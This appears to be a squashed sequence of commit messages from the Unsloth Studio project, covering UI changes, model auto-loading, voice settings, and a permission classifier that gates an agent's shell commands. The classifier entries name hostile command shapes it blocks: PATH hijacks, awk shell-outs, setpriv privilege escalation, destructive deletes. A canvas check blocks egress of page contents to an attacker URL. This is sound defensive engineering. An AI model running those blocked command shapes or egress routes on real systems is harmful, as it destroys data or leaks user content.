`python -c 'import torch; print(torch.__version__)'` runs while a destructive
one-liner still asks. A payload that does not parse fails closed, since shell
quoting may have mangled it. The other runtimes have no analyzer here and stay
gated.
- An assignment with no command after it runs nothing: every terminal call gets
its own shell process, so `export PATH=...` on its own dies with that process.
Verified against real bash rather than assumed.
- For the search paths other than PATH (PYTHONPATH and friends), a relative
entry points inside the session workdir, which is the agent's own directory,
so `PYTHONPATH=. pytest` runs. An absolute or escaping entry can shadow a real
module and still asks. PATH itself counts for every value, because a relative
entry there is the sharpest form of the hijack (`PATH=. ls` runs ./ls).
Net effect on the probe corpus, identical on all three platforms: ordinary and
inspection commands go from 99 of 136 prompting to 0, dangerous stays at 99 of
99, and the always-on hard-block set loses nothing and gains six entries.
* Tighten the permission-mode comments
Comment-only pass over the code this branch added. Every explanation is
collapsed to the fewest lines that still read clearly, redundant restatements
of the code are dropped, and a handful of blocks that had drifted away from the
constant or branch they describe are moved back next to it.
The non-obvious behaviours keep their note, just shorter: an unforced
`git worktree remove` refusing on a dirty worktree, a bare `-c` yielding an
empty attached value rather than None, `.` being the POSIX synonym for
`source`, prose keys being skipped rather than path keys allowlisted, and the
route keeping an unset mode lenient so non-streaming clients still work.
No code, string literal or test expectation changed.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Gate the navigation sinks reached by bracket access
The canvas egress check gated location.assign / location.replace and an
assignment to location.href, and it already handled bracket access for the
fetch family, but not for the navigation sinks. So `location['assign'](url)`
and `location['href'] = url` auto-ran and could navigate the preview frame to
an attacker URL with the page contents appended, which is the same egress the
dot forms already gate.
Both bracket forms are covered now, including a fully bracketed host
(`window['location']['href']`). The names are anchored to location so ordinary
bracket keys stay static: a string's own `['replace']`, an object's `['href']`,
and reading `location['href']` all still run without a prompt.
* Gate seven more ways a command reaches the shell in auto mode
git submodule foreach runs its argument in every submodule, so the payload is
a command in its own right; it now recurses through the terminal classifier and
through the hard-block scan. An awk program can shell out with system() or by
piping to "sh", so the program text is screened for those two shapes while
ordinary field work (awk '{print $1}') keeps running.
setpriv changes privilege and then execs what follows, so it is transparent to
the scan (setpriv --nnp rm -f x resolves rm) and its privilege-raising flags
(--reuid, --ambient-caps, --bounding-set) prompt on their own. fallocate
punches, zeroes or collapses a range in place, which destroys file contents,
so those flags prompt while plain allocation (-l SIZE) does not.
vars(os)["remove"] and os.__dict__["unlink"] resolve an attribute the same way
getattr does, so the module namespace dict is screened with the same key rules,
anchored to a filesystem module so an ordinary d["remove"] stays out.
Removing a package (pip uninstall torch, uv pip uninstall, conda remove) tears
down the environment the backend itself runs in; installing into it does not,
and stays automatic.
The listener check was anchored at command position, so a wrapper in front of
it (env python -m http.server, timeout 60 python -m uvicorn) slipped past. The
module after -m is now resolved at the token level, after wrapper resolution.
Adds 54 rows to the classifier tables covering both directions.

The Agents tab landed with three raw px text utilities, so its avatar initials
and the two status pills ignore the UI font size preference and stay fixed while
the rest of the dialog scales.
Swap them for the existing text-ui-11 / text-ui-10 tokens, which is what the rest
of the frontend already uses (149 and 128 call sites respectively).
This is what test_no_raw_pixel_text_utilities guards, so Repo tests (CPU) has been
red on main since the tab was added, and every open PR inherits the failure.

The last load attempt is not spent while folder scans are still pending,
since a smaller candidate can still enter the pool; earlier attempts
keep flowing incrementally. Resolution workers stop claiming scans once
autoload reaches a terminal result, so a successful early load no longer
leaves background scans contending with inference. Local rows now apply
the picker's chat-only format gate (GGUF on any host, MLX on Mac) and
the cascade skips cached non-GGUF repos on chat-only installs, matching
what the picker offers; the remembered path stays ungated since a
recorded load proves the model runs on this install.
Local rows that resolve without a backend folder scan seed the pool
before the workers start, so they cannot queue behind slow cached scans.
Cached and local folder scans interleave across the bounded workers so a
run of slow scans from one source cannot monopolize them. The consumer
holds model-kind candidates while scan jobs are pending, since every
pending scan can still yield a GGUF that outranks safetensors in the
documented order; resolved GGUF entries keep flowing immediately.
Cached GGUF repos now order by the quant that will actually load instead
of the row size_bytes, which sums every downloaded quant and pushed a
repo holding one small quant behind larger models. Cached entries apply
the same seen gate local rows use and skip keys are scoped to the
backend load target, so a cached repo and an indexed local row aliasing
the same files no longer spend two attempt slots on one failure. The
fallback resolves candidates through the bounded worker pool and
consumes them incrementally from a size-ordered pool after a short
settle grace, so one slow folder scan no longer stalls the send path
behind the transport timeout.
Resolves the chat-api import conflict: keep GenerationLengthError from
main and keep the branch's move of listCachedGguf and listCachedModels
to the unified inventory API.
* Add Agents settings tab for unsloth start
Adds a Settings > Agents tab documenting the `unsloth start` command:
quickstart, supported agents with click-to-copy commands, model
selection, common options, remote Studio setup, argument pass-through,
and a dry-run preview. Agent CLIs found on PATH are badged as installed.
Also removes the "New" badge from the System and Chat tabs.
* Use official brand logos for agents, invert Ollama and OpenRouter in dark mode
Claude Code and OpenAI Codex now use the Anthropic and OpenAI logos from
the provider-logos registry; agents without an official asset keep the
monogram tile. Also inverts the Ollama and OpenRouter logos in dark mode
so their monochrome marks stay visible.
* Title Agents tab "Agents (unsloth start)" and move it below Connections
The in-tab header now reads "Agents (unsloth start)" while the sidebar
label stays "Agents". Reorders the tab to sit below Connections.
* Address review: guard PATH detection, fix copy timeout, OS-aware remote snippet
- Only probe agent PATH in the desktop app on a loopback backend, so
Installed badges are not driven by a remote server's environment.
- Show the "none found" note only when detection actually ran and
returned empty, not when the call failed.
- Share one copy hook that resets its timeout on rapid clicks and clears
it on unmount.
- Render the Remote Studio snippet with PowerShell syntax on Windows.
- Note that --no-launch can still load a model when --model is set.
- Drop unused quickstart translation keys.
* Use client OS for remote commands, fix copy a11y and model wording (#7303)
- Pick the remote snippet shell from the client platform, not the server deviceType
- Single-line the model examples so they paste in POSIX, PowerShell and cmd
- Split the pass-through block into independent one-command copies
- Derive detection visibility instead of clearing state in the effect
- Announce copy success to assistive tech
- Correct the quickstart/model copy: bare start uses the loaded model
* Agents tab: flag the Codex row when the loaded model is not GGUF
* Agents tab: target the active Studio server, wrap narrow rows, index the tab's search terms
* Agents tab: build copied commands from the browser-reachable Studio and show the key placeholder
* Agents tab: index the intro for agent-name searches and keep long commands inside the panel
* Agents tab: omit --api-key so the CLI can replay a saved key for the base
* Agents tab: label the indexed heading rows and fall back to the active desktop API base
* Agents tab: name every supported agent in the indexed intro for PR #7303
* Tighten the agents tab comments for PR #7303
* Build the agents tab example commands from the active Studio base for PR #7303
* Take the agent command shell from the Studio host for PR #7303
* Pick the command shell from where the CLI runs for PR #7303

Sixth round of review follow-ups:
- Identifier keys (seen set, skip keys, remembered matching) now use
path-shape-aware case semantics: POSIX paths keep their case since Linux
distinguishes /models/Foo from /models/foo, while Windows-style paths and
Hub repo ids stay case-insensitive. Inventory ids compare exactly.
- A quant that fails /load re-enters the shared fallback queue at its
resolved size (still ahead of the safetensors group) instead of retrying
the same folder inline, so a folder of failing quants cannot exhaust the
attempt cap while a smaller model in another folder goes untried.
- Local variant pre-resolution runs with bounded concurrency (4) so a large
indexed inventory does not fan out a recursive directory scan per folder
all at once.
Contract tests and simulations updated and extended for all three.
* Settings: match dialog fills to the app shell surfaces
Tabs use the sidebar fill and the content pane uses the page fill, so
both track the active palette in light and dark.
* Pair the tab column fill with the sidebar foreground
Custom themes set --foreground but not --sidebar, so search result rows
could land white on white. Track the sidebar token instead.
* feat(studio): add drag and drop sources to create project
Files dropped on the create-project dialog upload to the new project's
sources as soon as it exists, so a project can start with context instead
of needing a second trip to the Sources tab.
The sidebar and projects page dialogs now reuse NewProjectDialog rather
than each keeping their own copy, and the OCR / caption ingest overrides
move to a shared helper so every upload path sends the same settings.
* fix(studio): harden project source drops
Drops are not filtered by the `accept` attribute the way the picker is, so a
folder or an image would stage and then fail server-side with a confusing
per-file error. Unsupported entries are now refused up front with one message.
Cancel bypassed the dialog's reset, so a discarded name and its staged files
came back on reopen and uploaded into the next project created. Every close
path now goes through one handler.
Long filenames lost their extension in _sanitize_filename and were then
rejected as an unsupported type; the stem is trimmed instead. Adds backend
tests for the project scope, the sanitizer and path stripping.
* fix(studio): address second review pass on source drops
A drop landing on the panel while uploads run was not cancelled, because
pointer-events-none took the panel out of hit testing and nothing else on the
page cancels a file drop. The browser would navigate to the file and kill the
uploads in flight. Drag defaults are now cancelled even while disabled, and the
files are ignored instead.
Name, size and mtime can match for two genuinely different files, so a skipped
duplicate now says so rather than disappearing.
A slow upload could resolve after the dialog unmounted and still navigate,
pulling the user off the page they had moved to. Post-upload work is gated on
the component still being mounted.
* fix(studio): make source drops safe under StrictMode replay
The mount sentinel was only cleared in effect cleanup, so StrictMode's
setup/cleanup/setup replay left it false for good and every create in a dev
build stopped short of closing the dialog or navigating. It is now set on
setup as well.
The pending-sources marker was consumed inside a useState initializer, which
React replays, so the discarded pass ate the flag and the project opened on
Chats. Reading is now a peek and the marker is dropped in an effect.
Identical bytes under two names collapse to one document server-side, which
looked like both files had been added. The upload loop now tracks returned
document ids and says when files were merged.
* fix(studio): guard the route and storage around staged uploads
The sidebar's dialog lives in the root layout and never unmounts on a route
change, so the mount check alone could not stop a slow upload from navigating
the user back to the new project. The route is captured when create is pressed
and compared afterwards, and callers get that answer so the sidebar can still
move a chat while leaving the user where they are.
Reading the vision-pass overrides went straight at localStorage, which throws
outright where storage is blocked. That happened before the upload loop, so a
project was created and every staged source was lost. It now falls back to the
backend defaults, matching loadOptionalBool in the chat runtime store.
* fix(studio): honor run settings on initial model load
When loading a model from the gear-icon run-settings page, Context Length
and KV Cache Dtype were ignored if the user clicked Load before blurring
the context field, or before React flushed staged config into the store.
- Add NumericValueInput.commit() to flush a focused draft on Load
- Pass effectiveLoadConfig from model-config-page to onRun
- Prefer selection.config in performLoad for all load knobs
- Preserve meta.forceReload from the config-page reload path
Fixes#7346
* fix(studio): flush NumericValueInput draft when Load blurs first
Clicking Load blurs the context field before handleRun runs, so commit()
returned the stale value prop. Keep draft in a ref and parse it even when
the input is no longer focused.
* fix(studio): preserve Auto context when Load is clicked without edits
NumericValueInput.commit() now returns null unless the user actually
changed the field, so GGUF Load/Save no longer pins the displayed native
context into customContextLength when Auto was left untouched.
* fix(studio): clear NumericValueInput dirty state after blur commit
After a normal blur commit, reset dirtyRef so a later Load cannot replay a
stale draftRef when the user changed context via Reset or the slider.
* test(studio): pin NumericValueInput Auto/dirty contracts for #7346
Lock Codex P1/P2: commit returns null unless dirty, blur clears dirtyRef,
and handleRun only promotes a non-null committed context.
* fix(studio): keep same-click context draft after blur (#7346)
Blur can commit and clear dirtyRef before Load's onClick; stash that
committed value for one imperative commit() so typed context is not lost.
* chore: refresh PR head for #7351
* fix(studio): handle context commit edge cases
* chore: refresh PR head
* test(studio): guard invalid context drafts
* style(studio): format context draft guard
* test(studio): exercise same-click model config loads
* fix(studio): drop stale blur pin when the typed context equals the shown value
NumericValueInput cached every blur commit in lastBlurCommittedRef, even when
the draft equalled the current value and no onChange was dispatched. Because the
displayed value never changed, the useEffect([value]) clear never fired, so a
later Reset or external edit that leaves the shown value unchanged could not drop
the cache and the next commit() replayed it into an override that Reset had
removed. Only cache the blur result when it actually dispatched onChange
(final !== value); when final === value the parent is already current and there
is nothing to bridge. Add a Playwright regression that re-types the shown context
and asserts no override is stored.

* Studio: commit every same-click numeric draft before staging the load config
The run-settings Load/Reload button flushed only the GGUF Context Length draft
imperatively before building the load config. Max Seq Length (non-GGUF), GPU
Layers and MoE Layers on CPU (GGUF) are the same NumericValueInput and stage
their typed value only on blur, so editing one and clicking Load in the same
gesture staged the load from a still-stale parent config and dropped the value
the user just typed.
Wire an imperative commit handle through those inputs too and fold every
committed draft into the effective config, recomputing the non-GGUF load-time
max sequence length from the committed draft.
* fix(studio): recompute fixed-layer context pin and drop stale blur cache on every render
Two run-settings edge cases on the model-config page:
1) pinFixedLayerContext was computed from the render-time config, before a
same-click GPU Layers draft is committed in handleRun. Typing a positive
fixed-layer value on an auto-fit GGUF and clicking Reload therefore built
the runtime config with customContextLength: null, so a later fresh load
sent the native context with fixed layers (the OOM the pin exists to
avoid). Recompute the pin from the committed effectiveConfig.
2) NumericValueInput cleared its blur bridge only on a value change. A real
edit (final !== value) that Reset then reverts to the same shown number
nets value back unchanged, so the effect never re-ran and the stale pin
survived into the next Load/Save, replaying the override Reset removed.
The bridge is only valid across the single synchronous same-click gesture
that set it, so clear it on every settled render instead.
Add source-contract regressions for both.

* Studio desktop: fix loading-toast overlap and typing lag on model load
- Toaster: on desktop, offset toasts below the ~34px custom window titlebar
(top 46 when isTauri) so they no longer cover the min/max/close controls.
Web is unchanged (top 12).
- Model load: the 2s load poll wrote loadProgress state every tick, which
re-renders the whole chat page during "Starting model" (cheap in Chrome,
janky in the desktop WebView2 -> laggy typing). That state is only read by
the dismissed-toast inline status, so gate all four poll branches to write
it only when the inline view is live; while the toast is up it updates via
Sonner alone.
* Studio desktop: fix HTML canvas preview, download, and panel offset
- CSP: add frame-src for localhost/127.0.0.1 so the desktop webview can
frame the backend-served artifact preview. default-src 'self' (no
frame-src) blocked it -> "127.0.0.1 refused to connect"; web is
same-origin so it already worked.
- Download: route the canvas Download button through the native save
dialog (downloadFile) instead of a blob-anchor click, which the Tauri
WebView2 silently drops.
- Nudge the artifact panel down 8px so its top edge/shadow isn't tucked
under the window top bar.
* Studio desktop: add HTML filter for native canvas save dialog
Canvas Download saves .html via save_native_file, but save_filter() had no
html/htm case, so the native dialog fell back to the JSON/CSV/etc filter and
could block saving/browsing the .html export. Add an HTML filter and include
html/htm in the catch-all. Addresses Codex review on #7391.
* Studio desktop: unblock canvas preview in dev shell + clear header fade
- Preview: the app CSP frame-src fix wasn't enough in the tauri dev shell.
The preview endpoint sets its own frame-ancestors response header, which
only allowed 'self' tauri://localhost http://tauri.localhost -- so the
Vite dev origin (http://localhost:5173) was blocked and the frame stayed
"refused to connect". Extend the allowlist with http://localhost:* and
http://127.0.0.1:* (the endpoint only renders postMessage'd HTML in a
no-same-origin sandbox, so it exposes no server resource).
- Shadow: the artifact panel toolbar sat under the full-width
chat-header-fade; lower the panel top (mt 80->90px) so the controls clear
the fade.

* studio recipes: full-height canvas and in-app maximize control
- Recipe editor fills its container (drop the outer padding and the fixed
75vh height); the canvas reaches the window edges
- Viewport controls: the fit button now reads as center (it always
fit/centered); add an expand-to-full-view button that collapses the
sidebar and maximizes the canvas in-app, toggling back to restore
* recipe studio: exit full view when leaving the editor tab
Addresses review: the Exit full view control lives inside the editor
canvas, which unmounts on the Easy/Runs tabs. Clear maximized (and restore
the sidebar) when activeView leaves "editor" so those views aren't left
stuck under the fixed full-view overlay.

* Studio: scale menu, toast, chat and composer icons with the UI font size
Glyphs that sit beside scaled labels now follow the preference: the
shared --icon-size token (nav, settings tabs, chat action bars, code
block actions), classed svgs inside dropdown, select, context, menubar,
popover and command surfaces, toasts, the chat thread and both
composers, and the composer pill glyph slot. Sonner toast text is
unpinned from its injected 13px. Hit targets, paddings and surface
geometry stay fixed and every value is identity at the default size.
* Studio: icons scale at half the UI font size rate; cover review gaps
Icons now follow the preference at half the rate of the text, matching
the logo lockup: base + (setting - 16) / 2. The menu specific rules
that outranked the scoped block (app-user-menu, unsloth-plus-menu,
unsloth-tick) carry the scale too, which also restores the plus menu's
intended 1.15rem glyph base at the default size. From review: closed
select triggers join the scoped surfaces so their chevron tracks the
label, sonner action button labels scale at full text rate alongside
the title and description, and the unused built-in sonner loader gets a
defensive size override.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: icons match the text scale below the default, half rate above
Piecewise icon scaling: below the 16px default icons follow the UI font
size at the full text rate, above it they move at half the rate so
glyphs stay slightly smaller than the text. Written as min(full, half)
since the smaller branch is correct on each side. Applies to the shared
--icon-size token, the scoped menu, toast, chat and composer overrides,
and the menu rules that outrank them.
* Studio: cap icons at their default size above the 16px setting
Below the default icons still match the text scale; above it they now
keep their default size instead of growing at half rate, so enlarged
text dominates and glyphs read slightly smaller than the text. The
curve is min(full rate, base).
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: icons above the default scale at half rate, not capped
A 16px glyph at setting 20 renders 18px, as if the setting were 18:
above the default icons move at half the rate of the text, below it
they match the text scale. The curve is min(full rate, half rate).
* Studio: standard icons render at the UI font size itself
One shared --ui-icon-size token replaces the per-base curves for every
glyph with a 16px or larger base: icons match the UI font size below
the default and grow at half the change above it, so setting 12 gives
12px icons, 16 gives 16px and 20 gives 18px, slightly smaller than the
enlarged text. Sub 16px glyphs keep their proportions through the same
curve as a factor. This also slims the previous 18px to 21px icon bases
down to the font size at the default setting.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: icon scale review fixes for ticks, comboboxes and art glyphs
From review: thinking ticks keep their own size inside plus menus (the
important menu rule now excludes them), combobox popups and triggers
join the scoped surfaces, 24px size-6 art glyphs such as attachment
tile icons go back to proportional scaling instead of the uniform
token, branch picker 36px chevrons scale proportionally beside their
counter, and buttons that default un-classed icons to size-4 get the
shared token (xs buttons keep their pinned small icons). Sonner cancel
labels already scale: sonner renders cancel with data-button set, so
the existing override reaches it.
* Studio: keep the toast close glyph compact
The button icon fallback matched Sonner's close button, whose unclassed
12px X then rendered at the shared icon size inside its fixed control.
Exclude data-close-button from the fallback.
* Studio: use text-ui-11 for the new chat settings sheet caption
The raw px guard caught a text-[11px] added on main; raw px text
ignores the UI font size preference.

* feat(studio): save load settings in chat presets
Presets previously stored only sampling params (temperature, top_p, etc.).
Extend them with an optional loadConfig blob that captures context length,
KV cache dtype, speculative decoding, and GPU layer knobs from the current
runtime when saving.
- Apply loadConfig when switching presets or hydrating on startup
- Show a short summary under the preset controls
- Prompt to reload when a model is already loaded
Fixes#7347
* fix(studio): persist preset loadConfig and capture GGUF context
Add ChatPresetLoadConfig to the chat settings API schema so presets with
load settings no longer 400 on save. Capture effective GGUF context from
ggufContextLength when customContextLength is cleared after auto-mode load.
* fix(studio): address Codex review on preset load settings
Coalesce default maxSeqLength/speculative/gpu knobs when capturing presets,
no-op apply for legacy presets without loadConfig, preserve GPU pin on apply,
and stop replaying stale loadConfig during settings hydration.
* Remove unused getOrderedPresets import

Fixes#7244
The Studio per-model config dropdown only surfaced bf16, q8_0, q5_1,
and q4_1 even though llama.cpp already accepts q4_0, q5_0, iq4_nl, and
f32. Add the missing options to KV_CACHE_DTYPES and align API field
descriptions with the backend _valid_cache_types set.

* Studio: register text-ui tokens with tailwind-merge so cn keeps them
Stock tailwind-merge classifies text-ui-* as a text color, so cn() dropped
the size class whenever a color utility followed it in the same call. The
element then fell back to the unscaled 16px root font, which made hub tabs
and capability pills look oversized at small UI font sizes. Extend the
merge config so text-ui-* and leading-ui-* resolve as font-size and
line-height groups, and cover the failure in the contract and Playwright
regression tests.
* Studio: rename the Models page to Model hub
Page heading, sidebar navigation label in all locales, and the chat
download toasts that point at the tab.
Fifth round of review follow-ups. A resolved quant that passed validation
could still fail /api/inference/load (corrupt file, llama.cpp startup
error); the cascade then abandoned the whole row because only validation
blocks recorded a skip key. The fallback now marks the failed quant
skipped and resolves the folder's next complete quant before moving on,
bounded by the existing attempt cap. Single-candidate rows resolve to
null once skipped, so the retry loop terminates.
Contract test and simulation added for the failure-then-retry path.
Replaces the raw text-[9px] and text-[10px] classes with the text-ui-9 and text-ui-10 scale tokens so the voice tab labels honor the --ui-font-scale typography setting like the rest of the UI.
Fourth round of review follow-ups:
- Local candidates are now resolved before the fallback groups are sorted,
and multi-quant GGUF folders order by the resolved quant's own size. The
backend row size sums every quant in a folder, so a folder holding a
2 GB and an 8 GB quant previously sorted after a 4 GB single-quant model
even though its 2 GB quant was the smallest loadable artifact.
- The cached/local dedupe keys now carry the model kind. A folder emitting
both GGUF and safetensors rows shares one path while holding two
different models, so a failing GGUF row no longer shadows its loadable
safetensors sibling.
Contract tests updated and extended for both.
* fix(studio): persist connection model selections server-side
Remote Studio clients could see saved connections but not their enabled
model lists because models lived only in browser localStorage.
Store models and available_models in llm_providers and sync them through
the providers API so alternate clients inherit the same catalog state.
Fixes#7281
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Hydrate external connections on chat startup (#7281)
Extract provider sync logic into sync-external-providers.ts and call it
from chat-page on mount so persisted model selections appear in the
Connected picker without opening Settings → Connections first.
* fix(studio): backfill connection models and preserve local options (#7298)
Address Codex P2 on remote connection persistence:
- Backfill localStorage model selections to /api/providers when backend
rows still have empty models_json (legacy upgrades)
- Carry promptCacheTtl and openaiContainerTtlMinutes through startup sync
- Await hydratePersistedSettings before syncing on ChatPage mount
Contract tests: 7 passed; npm run typecheck passed.

Third round of review follow-ups:
- Quant resolution for a local GGUF folder now returns the smallest quant
that is not already in the skipped set, so one corrupt or blocked file
cannot sink a folder that still has other complete quants.
- The cached/local dedupe keys on actual load targets and on-disk paths
only. A local copy that merely shares a repo model_id is a distinct set
of files and stays available when the cached copy fails or has no
usable quant.
Contract tests updated and extended for both.
Second round of review follow-ups, verified against the backend services:
- A failed remembered local quant now excludes only that exact candidate
key instead of marking the whole row seen, so another complete quant in
the same folder can still load (mirrors the managed-cache remembered
path).
- Quant resolution for a local GGUF folder scans the folder itself via a
local-path repo id; the cache-first prefer_local_cache flow could return
a cache quant missing from the folder when the row also has a Hub
model_id.
- Cached adapter repos are chat-capable in the cached inventory and
resolve a base model on load, so they are excluded from background
auto-load like local adapter rows.
Contract tests extended for all three.
Review follow-ups, all verified against the backend inventory services:
- Directory-based local GGUFs (LM Studio, models dir, custom folders) are
flagged requires_variant by the backend, so the fallback now resolves the
smallest complete quant through the same variants API the picker card
uses instead of dropping every directory row.
- A folder holding both GGUF and safetensors weights yields two rows with
the same load target; remembered-model matching now requires the row
format to agree with the remembered kind.
- Adapter rows are chat-capable but load by resolving their base model,
which for a Hub-id base would start an implicit remote fetch; adapters
are excluded from background auto-load.
Contract tests extended to pin all three behaviors.
Fixes#7374. Pressing Send with no model loaded could miss local models
(models dir, LM Studio, custom scan folders, inactive HF caches) and then
download unsloth/Qwen3.5-4B-MTP-GGUF from Hugging Face without consent.
- autoLoadSmallestModel is now autoLoadOnDeviceModel: adopts the server
active model, then the remembered on-device model, then the smallest
complete chat-capable on-device model (GGUF first), across managed HF
caches and the unified backend local inventory.
- Inventory failures fail closed instead of reading as an empty cache.
- The remote Qwen fallback is removed from the send path; with no valid
candidate the user is asked to select or explicitly download a model.
- last-local-model-load records loadId/inventoryId/source with backward
compatible v1 parsing; indexed local loads are remembered while native
path lease picks stay excluded.
- New source-contract tests in tests/studio/test_model_picker_contracts.py.
* Studio: keep the executed Python script visible in chat, with download + viewport-gated highlight
Always show the executed Python script under the tool card (not only inside the
collapsible run/output section, which is unmounted from history), with Copy and a
client-side .py Download button, so the script stays visible on reopen (#7165).
The script is rendered eagerly, but shiki syntax-highlighting only runs once the
block scrolls near the viewport (IntersectionObserver, 200px margin); until then a
plain monospace placeholder shows the same source with matching padding, so there
is no layout jump. This bounds highlighting to the cards actually on screen instead
of tokenizing every script up front. Measured shiki cost is ~8 ms per typical 2 KB
script, so eager highlighting of a long agentic transcript (20-50+ Python calls)
would add ~170-420 ms of main-thread work on load; viewport-gating keeps it to the
few visible cards (~15-35 ms) regardless of transcript length. Falls back to
immediate highlight when IntersectionObserver is unavailable (SSR / tests).
* Use a div for the pre-highlight placeholder so container [&_pre]:!p-0 doesn't strip its p-3
The placeholder shares the highlighted block's p-3 padding to avoid a layout
jump, but as a <pre> it was caught by the container's [&_pre]:!p-0 !important
rule and rendered with no padding, so the script shifted by p-3 when shiki
swapped in. A plain div keeps the padding.
* Match placeholder wrapping to the highlighted pre (whitespace-pre, not pre-wrap)
The placeholder wrapped long lines while the highlighted Streamdown <pre> keeps
them on one line and scrolls in the container's overflow-auto, so a script with a
long line changed height when shiki swapped in. Use whitespace-pre so the
placeholder scrolls the same way and the height stays stable.

* feat(studio): offer MLX-supported optimizers on Apple Silicon
The training form's optimizer dropdown only listed CUDA/bitsandbytes optimizers (adamw_8bit, paged variants, torch fused). On Apple Silicon the MLX trainer supports a different set (adamw, adam, lion, muon, sgd, adafactor) and remaps every bitsandbytes/torch name to plain AdamW, so the dropdown misrepresented what actually runs.
Offer the MLX optimizer list when the device is a Mac, and derive the displayed value so the control is never blank: the shared CUDA default and the other bitsandbytes/torch options render as AdamW (exactly how the MLX backend normalizes them), while any other value is shown as-is so an unrecognized or non-canonical imported optimizer is never mislabeled. Non-Mac behavior is unchanged. The run-summary optimizer label now resolves from both lists.
* feat(studio): show an MLX-appropriate optimizer tooltip on Apple Silicon
The optimizer tooltip described "8-bit variants" and recommended "Fused" for vision models, neither of which is offered when training runs on MLX. On Apple Silicon, show a tooltip that matches the MLX optimizer set and notes that Lion typically needs a lower learning rate than AdamW.
Copy-only: no change to the selected optimizer or the learning rate, and the non-Mac tooltip is unchanged. The new string is added to the English locale; other locales fall back to English until translated, matching how new keys are handled elsewhere.
* fix(studio): label Mac CUDA-alias optimizers as AdamW in the run summary
On Apple Silicon the run-configuration summary looked up the stored optimizer name directly, so a run that kept a CUDA/bitsandbytes default such as adamw_8bit was labeled "AdamW 8-bit" even though the picker shows "AdamW" and the MLX backend runs plain AdamW. Mirror the training form's derivation so those aliases are labeled AdamW in the summary too.
Display-only: no change to the stored or submitted optimizer, and non-Mac summaries are unchanged.
* feat(studio): disable LoftQ and sequence packing on Apple Silicon
Neither LoftQ nor sequence packing is supported on MLX — the backend rejects LoftQ and the trainer silently forces packing off — yet the training form still offered both on Apple Silicon.
Disable the LoftQ LoRA-init option (greyed and unclickable, with an inline "Not supported on Apple Silicon" note) and the "Enable packing" checkbox (greyed, with a tooltip explaining why), matching how the unsupported "Enable streaming" control is presented. Clearing effects reset a stale loftq/packing value to its default on Mac so the disabled controls never submit it. Non-Mac behavior is unchanged.

The script the python tool runs was rendered inside a collapsible that closes
when the run ends or the thread is reopened, so the code disappeared from the
transcript and there was no way to save it. Render the script outside the
collapsible so it stays visible, and add a Download button that saves it as
script.py. Other tools and normal chat are unaffected.
* Studio: add Voice settings tab (dictation, dictionary, read aloud)
New Voice tab in Settings, placed just before About:
- Dictation: microphone picker, browser STT engine, recognition language,
and an inline mic test with a live transcript
- Dictation dictionary: entries rewrite matching speech to their exact
spelling and casing, applied in both dictation paths
- Recent dictations: last 20 final transcripts with copy and clear, so
text can be recovered if it lands in the wrong place
- Read aloud: optional button on assistant responses with two engines,
curated system voices (novelty and legacy voices filtered, quality
ranked, capped at 20) or the TTS audio model loaded in Unsloth via
/audio/generate (e.g. Orpheus), plus speed, pitch, volume and preview
Settings persist in localStorage (unsloth_voice_settings) and are read
at call time so changes apply without reloading the runtime. Adds en
keys plus the tab label for ja, zh-CN and pt-BR.
* Studio: drop the single option STT engine select, rename TTS option
The STT engine dropdown only had one entry, so it added noise without
giving a real choice. The engine row can come back once local STT
models land. Also renames the TTS engine option Unsloth TTS model to
Load TTS model to make the action clearer.
* Studio: harden Voice settings against edge cases found in simulation
Simulated the feature across Chromium, Firefox and WebKit plus node
level unit runs and backend contract checks. Fixes from the findings:
- Dictionary rewrite used a replacement string, so entries containing
dollar patterns corrupted transcripts (A$$AP became A$AP, $& injected
the match). Switched to the callback form of String.replace
- Persisted voice settings now validate types on hydration: non string
micDeviceId, dictationLanguage and ttsVoiceURI, and non boolean
ttsEnabled fall back to defaults instead of flowing into the UI
- Dictionary entries are trimmed, capped at 120 chars and re-sanitized
on hydration
- The Test dictation panel now falls back to the default microphone
when the saved device is unplugged, matching the composer adapter
Test coverage: 46 unit assertions (dictionary regex edge cases across
unicode, word boundaries and injection, voice curation for simulated
macOS, Windows and Linux voice inventories, corrupt storage merge),
13 backend contract checks against /audio/generate on an isolated
instance, and 60 browser assertions across the three engines covering
rendering, degradation without SpeechRecognition, curation in a real
DOM, dictionary persistence with unicode and dollar entries, the
no-model preview error path and corrupt localStorage recovery.
* Studio: address Voice settings review feedback
Verified each review comment before acting. Confirmed and fixed:
- Editing a dictionary entry was broken in two ways: the store trimmed
on every keystroke so spaces could not be typed, and clearing the
field deleted the entry and unmounted the input mid edit. Updates now
keep the raw value and a blur commit trims or removes the entry
- The unplugged mic fallback checked instanceof DOMException, but a
cross browser probe showed Firefox and WebKit throw
OverconstrainedError objects that are not DOMExceptions, so the
fallback never fired there. Matching on the error name now
- When the browser ended a dictation test on its own (silence timeout),
the mic stream stayed open. All recognition end paths now stop the
tracks and save the transcript through a single finalize path
- The studio TTS audio element now releases its WAV data URL as soon as
playback ends, fails or is cancelled
- Allow microphone now reports insecure contexts (no mediaDevices)
accurately instead of claiming access was blocked
- Voice tab copy moved into i18n keys per src/i18n/AGENTS.md, so locale
overlays can translate it; en is the baseline and parity passes
- unsloth_voice_settings added to the Reset all local preferences key
list so voice preferences obey the reset
- Non default microphones note that the system default is used when the
browser speech engine cannot bind a specific device, since browsers
without the start(track) overload ignore the argument silently
Re-ran the full simulation set after the changes: 46 unit assertions,
13 backend contract checks and 60 browser assertions across Chromium,
Firefox and WebKit all pass, plus a dedicated browser probe for the
dictionary editing behavior.
* Studio: use the chat mic icon in Voice settings for consistency
The Voice tab and its buttons used the hugeicons Mic02 glyph while the
chat composer uses a custom filled mic. Extract that composer icon into
a shared lib/mic-icon component, drop the duplicate inline copies in
thread.tsx and shared-composer.tsx, and use it for the Voice tab icon
and the tab's mic buttons so the microphone looks the same everywhere.
* Studio: address second round of Voice settings review feedback
Verified each new comment against the current code first. One item was
already fixed in the previous round (recording transcripts when the
browser ends a dictation test on its own). Confirmed and fixed:
- The microphone row showed a picker with generic names when browsers
enumerate unlabeled devices before permission, leaving no way to
grant access from the row. It now branches on whether labels are
visible and shows Allow microphone otherwise
- Compare chat dictation ignored the selected microphone. It now opens
